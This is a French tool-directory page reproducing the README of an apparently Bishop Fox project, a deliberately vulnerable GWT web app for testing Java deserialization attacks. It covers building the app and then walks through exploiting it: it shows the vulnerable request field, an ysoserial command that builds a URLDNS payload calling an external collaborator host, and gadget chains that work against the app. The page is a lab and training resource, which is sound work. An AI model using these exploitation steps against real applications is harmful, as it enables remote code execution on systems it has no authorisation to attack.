Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
VulnerableGWTApp — Une application web basée sur GWT, volontairement vulnérable, pour tester les outils et les techniques. | Kitploit
Outils/GitHubGitHub/bishopfox/vulnerablegwtapp
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

Une application web basée sur GWT, volontairement vulnérable, pour tester les outils et les techniques.

Voir le dépôt
5il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Application web GWT vulnérable

Ceci est une version de l'application d'exemple StockWatcher décrite dans le guide de démarrage de GWT qui a été modifiée pour utiliser la fonctionnalité "enhanced classes" de GWT, la rendant vulnérable à une attaque de désérialisation Java. Elle ne doit être utilisée que pour tester les outils de détection et d'exploitation. Les enhanced classes sont couramment utilisées dans les applications réelles basées sur GWT, mais jusqu'à la publication de cet exemple, il n'existait aucune application web open source facilement localisable que les professionnels de la sécurité pouvaient utiliser pour valider leurs outils et procédures.

L'exploitation des applications basées sur GWT est abordée dans l'article de blog de Bishop Fox "GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability".

Exécution de l'application web

Pour exécuter l'application web, vous aurez besoin d'un système Linux disposant des outils suivants :

  • La version complète du JRE OpenJDK 11, pas la version headless - par exemple, sur les distributions basées sur Debian, installez le paquet openjdk-11-jre
  • ant (installez-le à l'aide du gestionnaire de paquets de votre distribution)
  • Version 2.10.0 du SDK GWT

Démarrage rapide

L'application nécessite un certain nombre de fichiers JAR trop volumineux pour être inclus directement dans le contrôle de source GitHub. Le moyen le plus simple de commencer est donc de télécharger le dernier paquet depuis la page des versions et de le décompresser.

Une fois l'archive décompressée, modifiez cette ligne dans build.xml pour remplacer /home/user/GWT/gwt-2.10.0 par votre répertoire SDK GWT :

Depuis le répertoire du code source, exécutez les commandes suivantes :

root@kitploit:~
ant build
ant devmode

Cela lancera l'application web vulnérable et la rendra accessible à l'adresse http://127.0.0.1:8888/StockWatcher.html.

Notez que si vous transférez le trafic vers le service local pour le rendre accessible à distance, vous devez également transférer le port 9876 en plus du 8888.

Exécution directe à partir du code de ce dépôt

Si vous souhaitez cloner ce dépôt et exécuter l'application sans télécharger de version, vous devrez télécharger et ajouter les fichiers JAR tiers suivants dans le répertoire lib après l'avoir cloné :

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

Vous devrez également copier les fichiers JAR GWT suivants depuis votre répertoire GWT (par ex. gwt-2.10.0/) vers le répertoire lib de cette application vulnérable :

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

Après avoir copié tous ces fichiers JAR, effectuez les autres étapes de la section Démarrage rapide ci-dessus.

Exploitation de l'application web

À l'aide d'un navigateur web configuré pour se connecter via un proxy d'interception (comme Burp Suite), chargez l'URL http://127.0.0.1:8888/StockWatcher.html.

La page affichera d'abord un message « compilation ». Attendez qu'elle affiche ce formulaire de base :

[ L'application web StockWatcher affichant un champ pour ajouter un symbole boursier ]

Saisissez une chaîne courte dans le champ, par exemple BFOX, puis cliquez sur le bouton Add. La page devrait commencer à afficher des mises à jour aléatoires pour le symbole boursier simulé :

[ L'application web StockWatcher affichant des données de prix simulées pour le symbole BFOX ]

Dans l'historique de votre proxy d'interception, notez que votre navigateur envoie désormais à plusieurs reprises des requêtes POST à http://127.0.0.1:8888/stockwatcher/checkCustomClass1, similaires à celles-ci :

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

Les données binaires encodées en Base64 rO0ABXcEAAAAAA== constituent un point d'injection vulnérable dans la requête. Pour exploiter l'application web, vous devrez générer un payload de remplacement. Par exemple, pour générer un payload URLDNS à l'aide de la version personnalisée d'ysoserial de Bishop Fox, vous pouvez exécuter la commande suivante :

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

Envoyez une version modifiée de la requête qui remplace rO0ABXcEAAAAAA== par votre payload généré, et l'application vulnérable devrait le désérialiser et le déclencher. En plus de l'action que le payload provoque, la réponse devrait également inclure une NoSuchFieldException liée au nom du champ si la valeur a été désérialisée, par exemple en utilisant le nom bishopfox de l'exemple ci-dessus :

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

Si vous avez utilisé la version précompilée de l'application web vulnérable, ou ajouté manuellement tous les JAR mentionnés ci-dessus à un build personnalisé, vous devriez (au minimum) pouvoir utiliser les payloads suivants contre l'application web :

  • AspectJWeaver
  • Jython2
  • Jython3

Au moment de la rédaction de ce document, la version principale de ysoserial ne prenait pas en charge la sortie au format GWT. Assurez-vous donc d'utiliser le fork personnalisé.

Télécharger l’outil